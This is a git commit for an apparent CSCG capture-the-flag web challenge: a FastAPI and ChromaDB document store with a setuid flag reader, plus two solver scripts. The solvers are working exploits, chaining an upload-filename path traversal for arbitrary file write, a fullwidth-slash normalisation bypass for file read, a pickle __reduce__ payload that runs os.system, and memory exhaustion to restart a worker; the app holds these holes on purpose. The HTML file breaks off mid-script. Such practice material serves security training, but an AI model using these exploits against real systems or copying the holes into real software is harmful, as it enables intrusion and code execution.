cscg ist super
This commit is contained in:
37
2026/cscg/web/knowledge-base/.dockerignore
Normal file
37
2026/cscg/web/knowledge-base/.dockerignore
Normal file
@@ -0,0 +1,37 @@
|
||||
# Python
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
*.so
|
||||
.Python
|
||||
*.egg-info/
|
||||
dist/
|
||||
build/
|
||||
.venv/
|
||||
venv/
|
||||
|
||||
# ChromaDB
|
||||
chroma-data/
|
||||
|
||||
# Uploaded documents
|
||||
docs/
|
||||
|
||||
# Git
|
||||
.git/
|
||||
.gitignore
|
||||
|
||||
# IDE
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
|
||||
# Docker
|
||||
Dockerfile
|
||||
.dockerignore
|
||||
compose.yml
|
||||
|
||||
# Environment
|
||||
.env
|
||||
.env.local
|
||||
28
2026/cscg/web/knowledge-base/.gitignore
vendored
Normal file
28
2026/cscg/web/knowledge-base/.gitignore
vendored
Normal file
@@ -0,0 +1,28 @@
|
||||
# Python
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
*.so
|
||||
.Python
|
||||
*.egg-info/
|
||||
dist/
|
||||
build/
|
||||
.venv/
|
||||
venv/
|
||||
|
||||
# ChromaDB
|
||||
chroma-data/
|
||||
|
||||
# Uploaded documents
|
||||
docs/
|
||||
|
||||
# IDE
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
|
||||
# Environment
|
||||
.env
|
||||
.env.local
|
||||
46
2026/cscg/web/knowledge-base/Dockerfile
Normal file
46
2026/cscg/web/knowledge-base/Dockerfile
Normal file
@@ -0,0 +1,46 @@
|
||||
FROM ghcr.io/astral-sh/uv:python3.13-bookworm-slim
|
||||
|
||||
RUN apt-get update && \
|
||||
apt-get install -y --no-install-recommends \
|
||||
g++ \
|
||||
strace \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY readflag.c .
|
||||
RUN gcc -o /readflag -static readflag.c && \
|
||||
chown root:root /readflag && \
|
||||
chmod +s /readflag && \
|
||||
rm readflag.c
|
||||
|
||||
RUN groupadd -r appuser && useradd -r -g appuser appuser
|
||||
WORKDIR /app
|
||||
|
||||
COPY --chown=root:root pyproject.toml ./
|
||||
RUN uv pip install --system --no-cache -r pyproject.toml
|
||||
|
||||
# Cache embedding model
|
||||
ENV HOME=/home/appuser
|
||||
RUN mkdir -p /home/appuser/.cache/chroma/onnx_models && \
|
||||
python3 -c "from chromadb.utils.embedding_functions import ONNXMiniLM_L6_V2; ONNXMiniLM_L6_V2()(['test'])" && \
|
||||
chown -R root:root /home/appuser/.cache && \
|
||||
chmod -R 755 /home/appuser/.cache
|
||||
|
||||
COPY --chown=root:root flag.txt /flag.txt
|
||||
RUN chmod 400 /flag.txt
|
||||
|
||||
COPY --chown=root:root src/*.py ./
|
||||
COPY --chown=root:root src/static ./static
|
||||
|
||||
RUN mkdir -p /chroma-data /docs && \
|
||||
chown appuser:appuser /chroma-data /docs && \
|
||||
chmod 777 /chroma-data /docs
|
||||
|
||||
RUN chown -R root:root /app && \
|
||||
chmod 444 /app/pyproject.toml /app/*.py && \
|
||||
chmod 555 /app /app/static
|
||||
|
||||
USER appuser
|
||||
EXPOSE 8000
|
||||
ENV PYTHONUNBUFFERED=1
|
||||
|
||||
CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "8000", "--workers", "2"]
|
||||
17
2026/cscg/web/knowledge-base/compose.yml
Normal file
17
2026/cscg/web/knowledge-base/compose.yml
Normal file
@@ -0,0 +1,17 @@
|
||||
services:
|
||||
app:
|
||||
build: .
|
||||
restart: unless-stopped
|
||||
ports:
|
||||
- "8000:8000"
|
||||
volumes:
|
||||
- chroma-data:/chroma-data
|
||||
- docs-data:/docs
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
memory: 512M
|
||||
|
||||
volumes:
|
||||
chroma-data:
|
||||
docs-data:
|
||||
BIN
2026/cscg/web/knowledge-base/dump.sqlite3
Normal file
BIN
2026/cscg/web/knowledge-base/dump.sqlite3
Normal file
Binary file not shown.
1
2026/cscg/web/knowledge-base/emojis.txt
Normal file
1
2026/cscg/web/knowledge-base/emojis.txt
Normal file
File diff suppressed because one or more lines are too long
1
2026/cscg/web/knowledge-base/flag.txt
Normal file
1
2026/cscg/web/knowledge-base/flag.txt
Normal file
@@ -0,0 +1 @@
|
||||
CSCG{fake}
|
||||
99
2026/cscg/web/knowledge-base/hammer_solve.py
Normal file
99
2026/cscg/web/knowledge-base/hammer_solve.py
Normal file
@@ -0,0 +1,99 @@
|
||||
import asyncio
|
||||
import httpx
|
||||
import urllib.parse
|
||||
import os
|
||||
import pickle
|
||||
import concurrent.futures
|
||||
import requests
|
||||
|
||||
BASE_URL = "http://localhost:8000"
|
||||
|
||||
def write_file(target_path: str, content: str, verbose: bool = False) -> str:
|
||||
url = f"{BASE_URL}/api/docs"
|
||||
files = {
|
||||
'file': (target_path, content.encode('utf-8'), 'text/plain')
|
||||
}
|
||||
if verbose:
|
||||
print(f"[*] Attempting to write to {target_path}...")
|
||||
try:
|
||||
response = requests.post(url, files=files)
|
||||
if response.status_code == 200:
|
||||
doc_id = response.json().get('doc_id')
|
||||
if verbose:
|
||||
print(f"[+] Success! Wrote to {target_path} (Doc ID: {doc_id})")
|
||||
return doc_id
|
||||
else:
|
||||
if verbose:
|
||||
print(f"[-] Failed to write. Status: {response.status_code}")
|
||||
print(f"[-] Response: {response.text}")
|
||||
return None
|
||||
except requests.exceptions.RequestException as e:
|
||||
if verbose:
|
||||
print(f"[-] Connection error: {e}")
|
||||
return None
|
||||
|
||||
async def async_worker(client, url, files):
|
||||
while True:
|
||||
try:
|
||||
await client.post(url, files=files)
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
async def spray_fd_async(target_fds, payload, workers_per_fd=20):
|
||||
url = f"{BASE_URL}/api/docs"
|
||||
limits = httpx.Limits(max_keepalive_connections=100, max_connections=200)
|
||||
|
||||
async with httpx.AsyncClient(limits=limits, timeout=None) as client:
|
||||
tasks = []
|
||||
for fd in target_fds:
|
||||
print(f"[*] Starting {workers_per_fd} workers for fd {fd}")
|
||||
files = {'file': (f"/proc/1/fd/{fd}", payload, 'text/plain')}
|
||||
for _ in range(workers_per_fd):
|
||||
tasks.append(async_worker(client, url, files))
|
||||
|
||||
await asyncio.gather(*tasks)
|
||||
|
||||
def read_file(target_path: str, verbose: bool = False) -> str:
|
||||
nfkc_path = target_path.replace('/', '\uFF0F')
|
||||
encoded_path = urllib.parse.quote(nfkc_path)
|
||||
url = f"{BASE_URL}/api/docs/{encoded_path}"
|
||||
if verbose:
|
||||
print(f"[*] Attempting to read {target_path} (via NFKC bypass)...")
|
||||
try:
|
||||
response = requests.get(url)
|
||||
if response.status_code == 200:
|
||||
if verbose:
|
||||
print(f"[+] Success! Read {len(response.text)} bytes.")
|
||||
return response.text
|
||||
return None
|
||||
except requests.exceptions.RequestException:
|
||||
return None
|
||||
|
||||
def kill_worker():
|
||||
with open("./emojis.txt", "r") as f:
|
||||
garbage_payload = f.read()
|
||||
print("[*] Killing worker with OOM...")
|
||||
write_file("/docs/oom.txt", garbage_payload)
|
||||
|
||||
def exploit():
|
||||
class Exploit:
|
||||
def __reduce__(self):
|
||||
return (os.system, ("/readflag > /docs/flag.txt",))
|
||||
|
||||
payload = Exploit()
|
||||
ascii_pickle = pickle.dumps(payload, protocol=0)
|
||||
fd_list = range(11, 18)
|
||||
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=1) as executor:
|
||||
executor.submit(kill_worker)
|
||||
|
||||
try:
|
||||
print("[*] Launching async FD spray...")
|
||||
asyncio.run(spray_fd_async(fd_list, ascii_pickle))
|
||||
except KeyboardInterrupt:
|
||||
print("\n[*] Spray stopped. Checking for flag...")
|
||||
|
||||
return read_file("/docs/flag.txt", verbose=True)
|
||||
|
||||
if __name__ == "__main__":
|
||||
print(exploit())
|
||||
1
2026/cscg/web/knowledge-base/oom.txt
Normal file
1
2026/cscg/web/knowledge-base/oom.txt
Normal file
File diff suppressed because one or more lines are too long
13
2026/cscg/web/knowledge-base/pyproject.toml
Normal file
13
2026/cscg/web/knowledge-base/pyproject.toml
Normal file
@@ -0,0 +1,13 @@
|
||||
[project]
|
||||
name = "knowledge-base"
|
||||
version = "0.1.0"
|
||||
requires-python = "==3.13.*"
|
||||
dependencies = [
|
||||
"aiohttp>=3.13.5",
|
||||
"chroma-hnswlib>=0.7.6",
|
||||
"chromadb>=1.4.1",
|
||||
"fastapi>=0.115.0",
|
||||
"httpx>=0.28.1",
|
||||
"python-multipart>=0.0.9",
|
||||
"uvicorn>=0.32.0",
|
||||
]
|
||||
17
2026/cscg/web/knowledge-base/readflag.c
Normal file
17
2026/cscg/web/knowledge-base/readflag.c
Normal file
@@ -0,0 +1,17 @@
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void) {
|
||||
char flag[256] = {0};
|
||||
FILE* fp = fopen("/flag.txt", "r");
|
||||
if (!fp) {
|
||||
perror("fopen");
|
||||
return 1;
|
||||
}
|
||||
if (fread(flag, 1, 256, fp) < 0) {
|
||||
perror("fread");
|
||||
return 1;
|
||||
}
|
||||
puts(flag);
|
||||
fclose(fp);
|
||||
return 0;
|
||||
}
|
||||
88
2026/cscg/web/knowledge-base/solve.py
Normal file
88
2026/cscg/web/knowledge-base/solve.py
Normal file
@@ -0,0 +1,88 @@
|
||||
import requests
|
||||
import urllib.parse
|
||||
import os
|
||||
import pickle
|
||||
import re
|
||||
import time
|
||||
|
||||
#BASE_URL = "http://localhost:8000"
|
||||
BASE_URL = "https://24ymje4oe2ebyoe46fjxoejq2b-8000-knowledge-base.challenge.cscg.live/"
|
||||
|
||||
def write_file(target_path: str, content: str, verbose: bool = False) -> str:
|
||||
url = f"{BASE_URL}/api/docs"
|
||||
|
||||
files = {
|
||||
'file': (target_path, content.encode('utf-8'), 'text/plain')
|
||||
}
|
||||
if verbose:
|
||||
print(f"[*] Attempting to write to {target_path}...")
|
||||
try:
|
||||
response = requests.post(url, files=files)
|
||||
if response.status_code == 200:
|
||||
doc_id = response.json().get('doc_id')
|
||||
if verbose:
|
||||
print(f"[+] Success! Wrote to {target_path} (Doc ID: {doc_id})")
|
||||
return doc_id
|
||||
else:
|
||||
if verbose:
|
||||
print(f"[-] Failed to write. Status: {response.status_code}")
|
||||
print(f"[-] Response: {response.text}")
|
||||
return None
|
||||
except requests.exceptions.RequestException as e:
|
||||
if verbose:
|
||||
print(f"[-] Connection error: {e}")
|
||||
return None
|
||||
|
||||
|
||||
def read_file(target_path: str, verbose: bool = False) -> str:
|
||||
nfkc_path = target_path.replace('/', '\uFF0F')
|
||||
|
||||
encoded_path = urllib.parse.quote(nfkc_path)
|
||||
url = f"{BASE_URL}/api/docs/{encoded_path}"
|
||||
if verbose:
|
||||
print(f"[*] Attempting to read {target_path} (via NFKC bypass)...")
|
||||
try:
|
||||
response = requests.get(url)
|
||||
if response.status_code == 200:
|
||||
if verbose:
|
||||
print(f"[+] Success! Read {len(response.text)} bytes.")
|
||||
return response.text
|
||||
else:
|
||||
if verbose:
|
||||
print(f"[-] Failed to read. Status: {response.status_code}")
|
||||
return None
|
||||
except requests.exceptions.RequestException as e:
|
||||
if verbose:
|
||||
print(f"[-] Connection error: {e}")
|
||||
return None
|
||||
|
||||
def kill_worker():
|
||||
with open("./emojis.txt") as f:
|
||||
garbage_payload = f.read()
|
||||
print("Killing worker")
|
||||
write_file("/docs/oom.txt", garbage_payload)
|
||||
|
||||
|
||||
def get_payload():
|
||||
class Exploit:
|
||||
def __reduce__(self):
|
||||
return (os.system, ("/readflag > /docs/flag.txt",))
|
||||
payload = Exploit()
|
||||
return pickle.dumps(payload, protocol=0)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
content = read_file("/chroma-data/chroma.sqlite3", verbose=True)
|
||||
|
||||
pattern = r"([0-9a-fA-F]{8}-(?:[0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12})urn:chroma:segment/vector"
|
||||
|
||||
uuid = re.findall(pattern, content)[0]
|
||||
|
||||
write_file("/docs/make_folder.txt", "filler to make the folder", verbose=True)
|
||||
write_file(f"/chroma-data/{uuid}/index_metadata.pickle", get_payload().decode(), verbose=True)
|
||||
|
||||
kill_worker()
|
||||
|
||||
time.sleep(5)
|
||||
|
||||
print(read_file("/docs/flag.txt"))
|
||||
60
2026/cscg/web/knowledge-base/src/app.py
Normal file
60
2026/cscg/web/knowledge-base/src/app.py
Normal file
@@ -0,0 +1,60 @@
|
||||
from pathlib import Path
|
||||
from typing import Dict, Any
|
||||
from fastapi import FastAPI, UploadFile, HTTPException
|
||||
from fastapi.responses import FileResponse, Response
|
||||
from pydantic import BaseModel
|
||||
from storage import extract_text, get_doc_path
|
||||
from db import get_all_docs, query_docs, get_doc, delete_doc, add_doc
|
||||
|
||||
app = FastAPI()
|
||||
|
||||
@app.get("/")
|
||||
async def read_root():
|
||||
return FileResponse(Path(__file__).parent / "static" / "index.html")
|
||||
|
||||
@app.post("/api/docs")
|
||||
async def upload_doc(file: UploadFile) -> Dict[str, str]:
|
||||
content = await file.read()
|
||||
doc = extract_text(file.filename, content)
|
||||
doc_uuid = doc.id
|
||||
get_doc_path(doc.filename).write_text(doc.content)
|
||||
add_doc(doc)
|
||||
return {"doc_id": doc_uuid, "message": "Document uploaded and indexed successfully"}
|
||||
|
||||
@app.get("/api/docs")
|
||||
async def list_docs() -> Dict[str, Any]:
|
||||
documents = get_all_docs()
|
||||
return {"documents": documents, "count": len(documents)}
|
||||
|
||||
@app.delete("/api/docs/{doc_id}")
|
||||
async def remove_doc(doc_id: str) -> Dict[str, str]:
|
||||
result = get_doc(doc_id)
|
||||
if not result or not result.get('ids') or len(result['ids']) == 0:
|
||||
raise HTTPException(status_code=404, detail=f"Document {doc_id} not found")
|
||||
metadata = result["metadatas"][0]
|
||||
filename = metadata["filename"]
|
||||
file_path = get_doc_path(filename)
|
||||
if file_path.exists():
|
||||
file_path.unlink()
|
||||
delete_doc(doc_id)
|
||||
return {"doc_id": doc_id, "message": "Document removed successfully"}
|
||||
|
||||
@app.get("/api/docs/{filename}")
|
||||
async def get_doc_file(filename: str) -> Response:
|
||||
file_path = get_doc_path(filename)
|
||||
if not file_path.exists():
|
||||
raise HTTPException(status_code=404, detail=f"Document {filename} not found")
|
||||
content = file_path.read_bytes()
|
||||
return Response(content=content, media_type="text/plain")
|
||||
|
||||
class QueryRequest(BaseModel):
|
||||
query: str
|
||||
|
||||
@app.post("/api/query")
|
||||
async def query(req: QueryRequest) -> Dict[str, Any]:
|
||||
matches = query_docs(req.query)
|
||||
return {"matches": matches, "count": len(matches)}
|
||||
|
||||
if __name__ == "__main__":
|
||||
import uvicorn
|
||||
uvicorn.run("app:app", host="127.0.0.1", port=8000, workers=2)
|
||||
57
2026/cscg/web/knowledge-base/src/db.py
Normal file
57
2026/cscg/web/knowledge-base/src/db.py
Normal file
@@ -0,0 +1,57 @@
|
||||
from pathlib import Path
|
||||
import chromadb
|
||||
from chromadb.config import Settings
|
||||
from storage import Doc
|
||||
|
||||
client = chromadb.Client(
|
||||
Settings(
|
||||
chroma_api_impl="chromadb.api.segment.SegmentAPI",
|
||||
chroma_sysdb_impl="chromadb.db.impl.sqlite.SqliteDB",
|
||||
chroma_producer_impl="chromadb.db.impl.sqlite.SqliteDB",
|
||||
chroma_consumer_impl="chromadb.db.impl.sqlite.SqliteDB",
|
||||
chroma_segment_manager_impl="chromadb.segment.impl.manager.local.LocalSegmentManager",
|
||||
is_persistent=True,
|
||||
persist_directory=(Path(__file__).parent.parent / "chroma-data").as_posix(),
|
||||
)
|
||||
)
|
||||
|
||||
docs = client.get_or_create_collection('documents')
|
||||
|
||||
def get_all_docs():
|
||||
result = docs.get()
|
||||
documents = []
|
||||
if result and result.get("ids"):
|
||||
for i, doc_id in enumerate(result["ids"]):
|
||||
metadata = result["metadatas"][i] if result.get("metadatas") else {}
|
||||
documents.append({
|
||||
"doc_id": doc_id,
|
||||
"filename": metadata["filename"],
|
||||
})
|
||||
return documents
|
||||
|
||||
def get_doc(doc_id: str):
|
||||
return docs.get(ids=[doc_id])
|
||||
|
||||
def add_doc(doc: Doc):
|
||||
docs.add(
|
||||
documents=[doc.content],
|
||||
metadatas=[{"uuid": doc.id, "filename": doc.filename}],
|
||||
ids=[doc.id],
|
||||
)
|
||||
|
||||
def delete_doc(doc_id: str):
|
||||
docs.delete(ids=[doc_id])
|
||||
|
||||
def query_docs(query: str):
|
||||
results = docs.query(query_texts=[query], n_results=10)
|
||||
matches = []
|
||||
if results and results.get('ids'):
|
||||
for i, doc_id in enumerate(results['ids'][0]):
|
||||
match = {
|
||||
"doc_id": doc_id,
|
||||
"distance": results['distances'][0][i],
|
||||
"document": results['documents'][0][i],
|
||||
"metadata": results['metadatas'][0][i],
|
||||
}
|
||||
matches.append(match)
|
||||
return matches
|
||||
405
2026/cscg/web/knowledge-base/src/static/index.html
Normal file
405
2026/cscg/web/knowledge-base/src/static/index.html
Normal file
@@ -0,0 +1,405 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Knowledge Base</title>
|
||||
<script src="https://cdn.tailwindcss.com"></script>
|
||||
</head>
|
||||
<body class="bg-gray-50 dark:bg-stone-950 opacity-0">
|
||||
<div id="container" class="flex flex-row h-screen max-w-7xl mx-auto p-4 gap-4 items-stretch">
|
||||
<!-- Left Sidebar: Upload & Documents -->
|
||||
<div id="uploadSection" class="w-80 h-full flex flex-col bg-white dark:bg-stone-900 border border-gray-200 dark:border-stone-700 px-6 py-4 rounded-2xl">
|
||||
<div class="flex items-center justify-between mb-3">
|
||||
<div>
|
||||
<h1 class="text-xl font-semibold text-gray-900 dark:text-stone-100">Knowledge Base</h1>
|
||||
<p class="text-xs text-gray-500 dark:text-stone-400 mt-1">Upload and search your documents</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="dropZone" class="border-2 border-dashed border-gray-300 dark:border-stone-600 rounded-xl p-6 text-center hover:border-gray-400 dark:hover:border-stone-500 transition cursor-pointer bg-gray-50 dark:bg-stone-800/30 mb-3">
|
||||
<svg id="uploadIcon" class="mx-auto h-10 w-10 text-gray-400 dark:text-stone-500" stroke="currentColor" fill="none" viewBox="0 0 48 48">
|
||||
<path d="M28 8H12a4 4 0 00-4 4v20m32-12v8m0 0v8a4 4 0 01-4 4H12a4 4 0 01-4-4v-4m32-4l-3.172-3.172a4 4 0 00-5.656 0L28 28M8 32l9.172-9.172a4 4 0 015.656 0L28 28m0 0l4 4m4-24h8m-4-4v8m-12 4h.02" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" />
|
||||
</svg>
|
||||
<p id="uploadText" class="mt-2 text-sm text-gray-600 dark:text-stone-300">
|
||||
<span class="font-semibold">Click to upload</span> or drag and drop
|
||||
</p>
|
||||
<input type="file" id="fileInput" class="hidden" multiple>
|
||||
</div>
|
||||
|
||||
<!-- Uploaded Documents List -->
|
||||
<div id="documentsListContainer" class="hidden flex-1 flex flex-col min-h-0">
|
||||
<div class="flex items-center justify-between mb-3">
|
||||
<p class="text-xs font-medium text-gray-700 dark:text-stone-300">Uploaded Documents</p>
|
||||
<p id="docCount" class="text-xs text-gray-500 dark:text-stone-400"></p>
|
||||
</div>
|
||||
<div id="documentsList" class="space-y-2 flex-1 overflow-y-auto"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Right Side: Search Section -->
|
||||
<div id="chatSection" class="flex-1 flex flex-col min-h-0 bg-white dark:bg-stone-900 border border-gray-200 dark:border-stone-700 rounded-2xl overflow-hidden opacity-0 scale-95" style="display: none;">
|
||||
<!-- Search Input -->
|
||||
<div class="border-b border-gray-200 dark:border-stone-700 px-6 py-4">
|
||||
<div class="relative">
|
||||
<input type="text" id="searchInput" placeholder="Search documents..." class="w-full px-4 py-2 pr-12 border border-gray-300 dark:border-stone-600 bg-white dark:bg-stone-800 text-gray-900 dark:text-stone-100 placeholder-gray-500 dark:placeholder-stone-400 rounded-lg focus:outline-none focus:ring-2 focus:ring-gray-400 dark:focus:ring-stone-500" onkeypress="if(event.key==='Enter') searchDocuments()">
|
||||
<button onclick="searchDocuments()" class="absolute right-2 top-1/2 -translate-y-1/2 p-2 text-gray-600 dark:text-stone-400 hover:text-gray-900 dark:hover:text-stone-100 transition">
|
||||
<svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"></path>
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Messages Area -->
|
||||
<div class="flex-1 overflow-y-auto px-6 py-4 space-y-4" id="messages">
|
||||
<!-- Messages will appear here -->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Document View Modal -->
|
||||
<div id="docModal" class="hidden fixed inset-0 bg-black bg-opacity-50 flex items-center justify-center z-50 p-4" onclick="if(event.target===this) closeDocModal()">
|
||||
<div class="bg-white dark:bg-stone-900 rounded-2xl shadow-2xl max-w-4xl w-full max-h-[90vh] flex flex-col">
|
||||
<div class="flex items-center justify-between px-6 py-4 border-b border-gray-200 dark:border-stone-700">
|
||||
<h2 id="docModalTitle" class="text-lg font-semibold text-gray-900 dark:text-stone-100 truncate"></h2>
|
||||
<button onclick="closeDocModal()" class="p-2 text-gray-500 hover:text-gray-700 dark:text-stone-400 dark:hover:text-stone-200 hover:bg-gray-100 dark:hover:bg-stone-800 rounded-lg transition">
|
||||
<svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"></path>
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
<div class="flex-1 overflow-y-auto px-6 py-4">
|
||||
<pre id="docModalContent" class="text-sm font-mono text-gray-900 dark:text-stone-100 whitespace-pre-wrap break-words"></pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
const messagesContainer = document.getElementById('messages');
|
||||
const dropZone = document.getElementById('dropZone');
|
||||
const fileInput = document.getElementById('fileInput');
|
||||
const documentsList = document.getElementById('documentsList');
|
||||
let uploadedDocs = [];
|
||||
|
||||
// Drag and drop handlers
|
||||
dropZone.addEventListener('click', () => fileInput.click());
|
||||
|
||||
dropZone.addEventListener('dragover', (e) => {
|
||||
e.preventDefault();
|
||||
dropZone.classList.add('border-gray-400', 'dark:border-stone-500', 'bg-gray-100', 'dark:bg-stone-800/50');
|
||||
});
|
||||
|
||||
dropZone.addEventListener('dragleave', () => {
|
||||
dropZone.classList.remove('border-gray-400', 'dark:border-stone-500', 'bg-gray-100', 'dark:bg-stone-800/50');
|
||||
});
|
||||
|
||||
dropZone.addEventListener('drop', (e) => {
|
||||
e.preventDefault();
|
||||
dropZone.classList.remove('border-gray-400', 'dark:border-stone-500', 'bg-gray-100', 'dark:bg-stone-800/50');
|
||||
|
||||
const files = e.dataTransfer.files;
|
||||
if (files.length > 0) {
|
||||
fileInput.files = files;
|
||||
uploadFile();
|
||||
}
|
||||
});
|
||||
|
||||
fileInput.addEventListener('change', () => {
|
||||
if (fileInput.files.length > 0) {
|
||||
uploadFile();
|
||||
}
|
||||
});
|
||||
|
||||
// Load existing documents on page load
|
||||
async function loadDocuments() {
|
||||
try {
|
||||
const response = await fetch(`/api/docs`);
|
||||
const data = await response.json();
|
||||
|
||||
if (response.ok && data.documents) {
|
||||
uploadedDocs = data.documents.map(doc => ({
|
||||
id: doc.doc_id,
|
||||
filename: doc.filename
|
||||
}));
|
||||
updateDocumentsList();
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('Error loading documents:', error);
|
||||
}
|
||||
}
|
||||
|
||||
// Load documents when page loads
|
||||
loadDocuments().then(() => {
|
||||
updateLayout(true);
|
||||
// Show page after layout is set
|
||||
document.body.classList.remove('opacity-0');
|
||||
});
|
||||
|
||||
function updateLayout(skipAnimation = false) {
|
||||
const container = document.getElementById('container');
|
||||
const uploadSection = document.getElementById('uploadSection');
|
||||
const chatSection = document.getElementById('chatSection');
|
||||
|
||||
if (uploadedDocs.length === 0) {
|
||||
// Compact centered upload section when no docs
|
||||
// Keep flex-row but center the upload section
|
||||
container.classList.add('justify-center', 'items-center');
|
||||
container.classList.remove('justify-start', 'items-stretch');
|
||||
uploadSection.classList.remove('w-80', 'h-full');
|
||||
uploadSection.classList.add('max-w-2xl', 'w-full');
|
||||
chatSection.style.display = 'none';
|
||||
chatSection.classList.add('opacity-0', 'scale-95');
|
||||
chatSection.classList.remove('opacity-100', 'scale-100');
|
||||
} else {
|
||||
// Show two-panel layout with full-height sidebar
|
||||
container.classList.remove('justify-center', 'items-center');
|
||||
container.classList.add('justify-start', 'items-stretch');
|
||||
uploadSection.classList.remove('max-w-2xl', 'w-full');
|
||||
uploadSection.classList.add('w-80', 'h-full');
|
||||
chatSection.style.display = 'flex';
|
||||
chatSection.classList.remove('opacity-0', 'scale-95');
|
||||
chatSection.classList.add('opacity-100', 'scale-100');
|
||||
}
|
||||
|
||||
// Enable transitions after initial layout (only on first call)
|
||||
if (skipAnimation) {
|
||||
requestAnimationFrame(() => {
|
||||
container.classList.add('transition-all', 'duration-500');
|
||||
uploadSection.classList.add('transition-all', 'duration-500');
|
||||
chatSection.classList.add('transition-all', 'duration-500');
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
function updateDocumentsList() {
|
||||
const dropZone = document.getElementById('dropZone');
|
||||
const uploadIcon = document.getElementById('uploadIcon');
|
||||
const uploadText = document.getElementById('uploadText');
|
||||
const documentsListContainer = document.getElementById('documentsListContainer');
|
||||
const docCount = document.getElementById('docCount');
|
||||
|
||||
if (uploadedDocs.length === 0) {
|
||||
// Expand drop zone when empty
|
||||
dropZone.classList.remove('p-3');
|
||||
dropZone.classList.add('p-6');
|
||||
uploadIcon.classList.remove('hidden', 'h-6', 'w-6');
|
||||
uploadIcon.classList.add('h-10', 'w-10');
|
||||
uploadText.classList.remove('hidden');
|
||||
documentsListContainer.classList.add('hidden');
|
||||
documentsList.innerHTML = '';
|
||||
return;
|
||||
}
|
||||
|
||||
// Compact drop zone when files exist
|
||||
dropZone.classList.remove('p-6');
|
||||
dropZone.classList.add('p-3');
|
||||
uploadIcon.classList.remove('h-10', 'w-10');
|
||||
uploadIcon.classList.add('h-6', 'w-6');
|
||||
uploadText.classList.add('hidden');
|
||||
documentsListContainer.classList.remove('hidden');
|
||||
docCount.textContent = `${uploadedDocs.length} file${uploadedDocs.length !== 1 ? 's' : ''}`;
|
||||
|
||||
documentsList.innerHTML = uploadedDocs.map(doc => `
|
||||
<div class="flex items-center justify-between p-2 bg-gray-50 dark:bg-stone-800/50 rounded border border-gray-200 dark:border-stone-700 hover:border-gray-300 dark:hover:border-stone-600 transition">
|
||||
<div class="flex-1 min-w-0 mr-2 cursor-pointer" onclick="viewDocument('${doc.id}', '${doc.filename.replace(/'/g, "\\'")}')">
|
||||
<p class="text-xs font-medium text-gray-900 dark:text-stone-100 truncate">${doc.filename}</p>
|
||||
</div>
|
||||
<button onclick="event.stopPropagation(); deleteDocFromList('${doc.id}')" class="ml-2 p-1.5 text-gray-500 hover:text-gray-700 dark:text-stone-400 dark:hover:text-stone-200 hover:bg-gray-200 dark:hover:bg-stone-700/50 rounded transition flex-shrink-0" title="Delete">
|
||||
<svg class="w-3.5 h-3.5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"></path>
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
`).join('');
|
||||
|
||||
updateLayout();
|
||||
}
|
||||
|
||||
function addMessage(content, type = 'info') {
|
||||
const messageDiv = document.createElement('div');
|
||||
messageDiv.className = 'p-4 rounded-lg ' +
|
||||
(type === 'error' ? 'bg-red-50 dark:bg-red-950/50 border border-red-200 dark:border-red-900/50' :
|
||||
type === 'success' ? 'bg-green-50 dark:bg-green-950/50 border border-green-200 dark:border-green-900/50' :
|
||||
type === 'user' ? 'bg-blue-50 dark:bg-blue-950/50 border border-blue-200 dark:border-blue-900/50 ml-12' :
|
||||
type === 'results' ? '' :
|
||||
'bg-white dark:bg-stone-900 border border-gray-200 dark:border-stone-700');
|
||||
|
||||
messageDiv.innerHTML = content;
|
||||
messagesContainer.appendChild(messageDiv);
|
||||
messagesContainer.scrollTop = messagesContainer.scrollHeight;
|
||||
}
|
||||
|
||||
async function uploadFile() {
|
||||
const files = Array.from(fileInput.files);
|
||||
|
||||
if (files.length === 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Upload files sequentially
|
||||
for (const file of files) {
|
||||
const formData = new FormData();
|
||||
formData.append('file', file);
|
||||
|
||||
try {
|
||||
const response = await fetch(`/api/docs`, {
|
||||
method: 'POST',
|
||||
body: formData
|
||||
});
|
||||
|
||||
const data = await response.json();
|
||||
|
||||
if (response.ok) {
|
||||
uploadedDocs.push({
|
||||
id: data.doc_id,
|
||||
filename: file.name
|
||||
});
|
||||
updateDocumentsList();
|
||||
} else {
|
||||
